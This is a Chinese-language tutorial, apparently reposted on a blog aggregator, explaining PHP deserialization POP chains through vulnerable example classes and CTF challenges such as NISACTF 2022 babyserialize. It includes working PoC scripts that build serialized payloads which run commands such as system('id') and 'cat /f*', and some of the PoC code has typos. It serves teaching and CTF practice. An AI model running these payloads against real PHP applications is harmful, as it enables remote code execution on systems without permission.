php反序列化中的pop链

目录

一、什么是POP

二、成员属性赋值对象

例题: 

方法一

方法二 

 三、魔术方法的触发规则

例题: 

四、POC的编写 

例题1:

例题2   [NISACTF 2022]babyserialize

今日总结:


一、什么是POP

在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在php反序列化中有一种漏洞利用方法叫“面向属性编程”,即pop(property oriented programming)。

php反序列化:PHP反序列化_在线反序列化-CSDN博客

pop链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种playload.

二、成员属性赋值对象

例题: 
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {private $test; //$test为私有属性public function __construct(){$this->test = new normal(); 调用魔术方法__construct,test = new normal()}public function __destruct(){$this->test->action(); //__destruct()从$test调用action()}
}
class normal {public function action(){echo "please attack me";}
}
class evil {var $test2;public function action(){eval($this->test2); //漏洞点,利用eval()函数来执行代码,调用test2}
}
unserialize($_GET['test']);
?> 

 分析代码可得:

1、利用反序列化触发__destruct()从$test中调用action()

2、正常情况下我们会new index(),但实例化触发__construct()导致new normal()

3、new normal()会导致__destruct()从$test中调用的action()是normal类中的,而我们要的是evil类中的action(),所以给$test赋值为对象new evil()

方法一

实例化index(),直接触发__construct的魔术方法

<?php
class index {private $test;   public function __construct(){$this->test = new evil();}//  public function __destruct(){//      $this->test->action();   }
}
// class normal {
//    public function action(){
//        echo "please attack me";}
}
class evil {var $test2 = "system('id');";
}
$a=new index();
echo serialize($a);  
?>

方法二 

直接调用属性test2

<?php
class index {var $test;
}  
class evil {var $test2;
}
$a= new evil();
$a ->test2="system('id');";
$b= new index();
$b ->test=$a;
echo serialize($b);
?>

 三、魔术方法的触发规则

魔术方法触发前提:魔术方法所在类(或对象)被调用

例题: 
<?php
class fast {public $source;public function __wakeup(){echo "wakeup is here!!";echo  $this->source;}
}
class sec {var $benben;public function __toString(){echo "toString is here!!";}
}
$b = $_GET['benben'];
unserialize($b);
?>
目标:显示wakeup is here!!toString is here!!

解题:

<?php
class fast {public $source;
//    public function __wakeup(){
//        echo "wakeup is here!!";
//        echo  $this->source;
//    }
}
class sec {var $benben;
//    public function __toString(){
//        echo "toString is here!!";
//    }
}
$a=new fast();    //实例化fast
$b=new sec();    //实例化sec
$a->source=$b;    //将source赋值为$b
echo serialize($a);    //在触发__wakeup()后执行echo从而触发__toString()    
?>

四、POC的编写 

poc(proof of concept)中文译作概念验证。在安全界可以理解成漏洞验证程序。poc是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。

编写一段不完整的程序,以获取所需要的序列化字符串。

例题1:
 <?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {private $var;public function append($value){include($value);echo $flag;    //目标:触发echo,调用$flag}public function __invoke(){    //__invoke()触发时机:把对象当成函数$this->append($this->var);    //触发__invoke()调用append,并使$var=flag.php}
}class Show{public $source;public $str;public function __toString(){  return $this->str->source;}public function __wakeup(){echo $this->source;}
}class Test{public $p;public function __construct(){    //无用$this->p = array();}public function __get($key){$function = $this->p;return $function();    //可能把对象当成函数使用的地方}
}if(isset($_GET['pop'])){unserialize($_GET['pop']);
}
?> 
目标:触发echo调用$flag

 解决此题之前,需要知道各个魔术方法的触发条件

触发__invoke():把对象当成函数使用;

触发Test中的__get():调用的成员属性不存在;

触发Test中的__toString():把对象当成字符串调用;

触发__wakeup():反序列化unserialize之前

1.知道此题的魔术方法的触发条件之后,然后我们来分析,主要使用到了反推法,根据代码可得,要echo $flag,就要使用到append这个函数,而触发这个函数需要触发__invoke这个魔术方法

2.找到把对象当成函数使用的地方,return $function(),$function被赋值为p,又要触发__invoke,所以p需要赋值为 new Modifier();这里需要触发__get这个魔术方法,找到Test中它不存在source这个成员变量

3.这里就注意到Show这个类里面的东西,如果调用__wakeup()里的source触发echo,触发echo则触发__toString(),__toString()里面会调用$str,$str再调用它里面的source,此时给$str赋值为new Test(),Test中不含有source触发 __get()

4.调用了__wakeup(),就需要将$source赋值为new Show(),反序列化$source触发wakeup()

分析完成,编写poc

 <?php
//flag is in flag.php
class Modifier {private $var='flag.php';//  public function append($value)//  {//       include($value);//       echo $flag;   //   }//   public function __invoke(){    //       $this->append($this->var);    //   }
}class Show{public $source;public $str;//   public function __toString(){  //       return $this->str->source;//   }//   public function __wakeup(){//       echo $this->source;//   }
}class Test{public $p;//   public function __construct(){    //       $this->p = array();}//   public function __get($key){//       $function = $this->p;//       return $function();   
//    }
}
$mod=new Modifier();
$show=new Show();
$test=new Test();
$test ->p=$ mod;
$show ->str=$test;
$show ->source=$show;
echo serialiaze($show);
?> 

例题2   [NISACTF 2022]babyserialize

相关的魔术方法:

名称触发条件
__wakeup()执行unserialize()时,先会调用这个函数
__call()在对象上下文中调用不可访问的方法时触发
__set()对私有成员属性进行设置值时自动触发
__toString()__toString()
__invoke()当尝试将对象调用为函数时触发

分析题目可得

(1)eval反推到__invoke
这里先看到eval,而eval中的变量可控,所以肯定是代码执行,而eval又在__invoke魔术方法中。
__invoke魔术方法是对象被当做函数进行调用的时候所触发
这里就反推看哪里用到了类似$a()这种的。

(2)__invoke反推到__toString
在Ilovetxw类的toString方法中,返回了return $bb;
__ToString方法,是对象被当做字符串的时候进行自动调用
  
(3)__toString反推到__set
在four的__set中,调用了strolower方法。如果不清楚,可以具体看下文档。
  
(4)从__set反推到__call
__set:对不存在或者不可访问的变量进行赋值就自动调用
__call:对不存在的方法或者不可访问的方法进行调用就自动调用
这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推到TianXiWei中的__wakeup

构造POC链

<?php
class NISA{public $fun;public $txw4ever;//   public function __wakeup()//   {//       if($this->fun=="show_me_flag"){//           hint();//       }}//   function __call($from,$val){//       $this->fun=$val[0];//   }//    public function __toString()
//    {//       echo $this->fun;
//        return " ";
//    }
//    public function __invoke()
//    {//       checkcheck($this->txw4ever);
//        @eval($this->txw4ever);//   }
//}class TianXiWei{public $ext;public $x;//   public function __wakeup()//   {//       $this->ext->nisa($this->x);//   }
}class Ilovetxw{public $huang;public $su;// public function __call($fun1,$arg){//     $this->huang->fun=$arg[0];//  }//  public function __toString(){//      $bb = $this->su;//      return $bb();//  }
}class four{public $a;private $fun;// public function __set($name, $value)//   {//      $this->$name=$value;//     if ($this->fun = "sixsixsix"){//        strtolower($this->a);//     }// }
}
$e = new NISA();
$e -> txw4ever = "System('cat /f*');";
$d = new Ilovetxw();
$d -> su = $e;
$c = new four();
$c -> a = $d;
$b = new Ilovetxw();
$b -> huang = $c;
$a = new TianXiWei();
$a -> ext = $b;echo urlencode(serialize($a));
?>

传参,得到flag

今日总结:

1.构造pop链,需要先分析代码

2.找到pop链的开端,再使用反推法,一个一个魔术方法的绕过

3.能够理解魔术方法的触发条件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/340147.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

项目资源管理

目录 1.概述 2.六个过程 2.1. 规划资源管理 2.2. 估算活动资源 2.3. 获取资源 2.4. 建设团队 2.5. 管理团队 2.6. 控制资源 3.应用场景 3.1.十个应用场景 3.2.软件开发项目 3.2.1. 资源规划 3.2.2. 资源分配 3.2.3. 资源获取 3.2.4. 资源优化 3.2.5. 资源监控与…

【AI基础】第二步:安装AI运行环境

开局一张图&#xff1a; 接下来按照从下往上的顺序来安装部署。 规则1 注意每个层级的安装版本&#xff0c;上层的版本由下层版本决定 比如CUDA的版本&#xff0c;需要看显卡安装了什么版本的驱动&#xff0c;然后CUDA的版本不能高于这个驱动的版本。 这个比较好理解&#xff…

ES 生命周期管理

一 .概念 ILM定义了四个生命周期阶段&#xff1a;Hot&#xff1a;正在积极地更新和查询索引。Warm&#xff1a;不再更新索引&#xff0c;但仍在查询。cold&#xff1a;不再更新索引&#xff0c;很少查询。信息仍然需要可搜索&#xff0c;但是如果这些查询速度较慢也可以。Dele…

Java面试——中间件

OpenFeign 1、openFeign是一个HTTP客户端&#xff0c;它融合了springmvc的注解&#xff0c;使之可以用REST风格的映射来请求转发。 2、可以把openFegin理解为是controller层或是service层。可以取代springmvc控制层作为请求映射&#xff0c;亦或是作为service层处理逻辑&#…

C++ priority_queue简单源码剖析:priority_queue模拟实现

文章目录 1. priority_queue介绍2. priority_queue模拟实现3. 适配器与虚函数 大家好&#xff01;本文会用C模拟一个基本的priority_queue类&#xff0c;帮助我们更好的理解priority_queue的内置函数的实现与规则。 1. priority_queue介绍 priority_queue被叫做优先队列&#…

ESP使用巴法云远程OTA(VScode + Platform io)

ESP使用巴法云远程OTA&#xff08;Platform&#xff09; 什么是OTA&#xff1a; OTA&#xff08;Over-the-AirTechnology&#xff09;即空中下载技术&#xff0c;是通过移动通信的空中接口实现对移动终端设备及SIM卡数据进行远程管理的技术。OTA升级是物联网&#xff08;IOT&am…

【C++初阶学习】第十二弹——stack和queue的介绍和使用

C语言栈&#xff1a;数据结构——栈(C语言版)-CSDN博客 C语言队列&#xff1a;数据结构——队列&#xff08;C语言版&#xff09;-CSDN博客 前言&#xff1a; 在之前学习C语言的时候&#xff0c;我们已经学习过栈与队列&#xff0c;并学习过如何使用C语言来实现栈与队列&…

企业软件产品和服务 之 设计保证安全 七项承诺

1. 引言 公司如何保护自己免受数据泄露的影响&#xff1f;标准答案就是&#xff1a; “启用多因素身份验证”——MTA&#xff08;Enable multifactor authentication&#xff09;。 但是&#xff0c;目前很多公司仍然盲目地只使用密码作为唯一的身份来源。 网络安全的核心是…

深入了解 C 语言 Bug

目录 一、引言二、Bug的定义三、Bug的由来四、Bug的影响五、应对 Bug 的方法六、结论 一、引言 1、在 C 语言的编程世界中&#xff0c;Bug 是一个我们无法回避的话题。 2、Bug&#xff0c;简单来说&#xff0c;就是程序中存在的错误或缺陷。它可以表现为程序运行结果的异常、崩…

步进电机双闭环细分控制(matlab仿真)内含课设等参考文件

1.1 步进电机工作原理 步进电机是一种用电脉冲进行控制&#xff0c;将电脉冲信号转换成相位移的电机&#xff0c;其机械位移和转速分别与输入电机绕组的脉冲个数和脉冲频率成正比,每一个脉冲信号可使步进电机旋转一个固定的角度。脉冲的数量决定了旋转的总角度&#xff0c;脉…

英伟达开源新利器NV-Embed向量模型,基于双向注意力的LLM嵌入模型,MTEB 56项任务排名第一

前言 文本嵌入模型能够将文本信息转化为稠密的向量表示&#xff0c;并在信息检索、语义相似度计算、文本分类等众多自然语言处理任务中发挥着关键作用。近年来&#xff0c;基于解码器的大型语言模型 (LLM) 开始在通用文本嵌入任务中超越传统的 BERT 或 T5 嵌入模型&#xff0c…

企业打款验证API在Java、Python、PHP中的使用教程

随着企业银行账号数量的增加和银行间的连接方式不断丰富&#xff0c;企业在进行资金交易时需要确保所填写的收款方账户信息的准确性和合法性&#xff0c;以避免资金损失和风险。然而&#xff0c;由于银行数量众多、地域分布广泛&#xff0c;不同银行间的账户验证机制和信息交互…

网络编程(八)

网络编程&#xff08;八&#xff09; 数据库数据库的分类基于嵌入式的数据库什么是SQLite?为什么使用SQLite?sqlite3数据库的安装 sqlite3中的点命令.open 数据库文件名字.tables [数据库文件名].schema 表名.database.quit.head on.mode column SQLite数据库中的数据类型SQL…

【Linux】Linux环境基础开发工具_4

文章目录 四、Linux环境基础开发工具gcc和g动静态库的理解 make和MakefileLinux小程序---进度条 未完待续 四、Linux环境基础开发工具 gcc和g 动静态库的理解 动态库的优点&#xff1a;比较节省资源&#xff0c;不会出现太多重复代码。 动态库的缺点&#xff1a;对库的依赖性…

C语言 数组——数组的其他应用之筛法求素数

目录 数组的其他应用 求100以内的所有素数 筛法求100以内的所有素数 自顶向下、逐步求精设计算法 数组的其他应用 求100以内的所有素数 筛法求100以内的所有素数 自顶向下、逐步求精设计算法 step 1&#xff1a;设计总体算法  初始化数组a&#xff0c;使a[2]2, a[3]3,..…

算法 java 排序和查找

排序和查找 冒泡排序&#xff08;稳定&#xff09;选择排序&#xff08;不稳定&#xff09;插入排序&#xff08;稳定&#xff09;希尔排序&#xff08;不稳定&#xff09;归并排序&#xff08;稳定&#xff09;快速排序&#xff08;不稳定&#xff09;堆排序计数排序桶排序基数…

C++设计模式——Adapter适配器模式

一&#xff0c;适配器模式简介 适配器模式是一种结构型设计模式&#xff0c;用于将已有接口转换为调用者所期望的另一种接口。 适配器模式让特定的API接口可以适配多种场景。例如&#xff0c;现有一个名为"Reader()"的API接口只能解析txt格式的文件&#xff0c;给这…

【AR开发-开源框架】使用Sceneform-EQR快速开发AR应用,当前接入了AREngine、ORB-SLAM,可快速地适配不同的安卓设备

Sceneform-EQR Sceneform 概览 Sceneform是一个3D框架&#xff0c;具有基于物理的渲染器&#xff0c;针对移动设备进行了优化&#xff0c;使您可以轻松构建增强现实应用程序&#xff0c;而无需OpenGL。 借助 Sceneform&#xff0c;您可以轻松地在 AR 应用和非 AR 应用中渲染…

Caused by: java.rmi.server.ExportException: Port already in use: 1100;解决方案

Caused by: java.rmi.server.ExportException: Port already in use: 1100; 根据端口号找占用程序的进程号 netstat -ano|findstr 1100 最右边那个数字就是进程号 在任务管理器中 详细信息&#xff0c;点击pid即可按照进程号排序&#xff0c;找到相应的进程&#xff0c;判断…

盲盒小程序预售机制的设计与实施

随着盲盒市场的不断发展&#xff0c;预售机制逐渐成为商家吸引用户、提升销售额的重要手段。本文将探讨盲盒小程序预售机制的设计与实施&#xff0c;以帮助商家更好地满足用户需求并优化库存周转率。 一、预售机制设计原则 在设计预售机制时&#xff0c;商家需要遵循以下几个…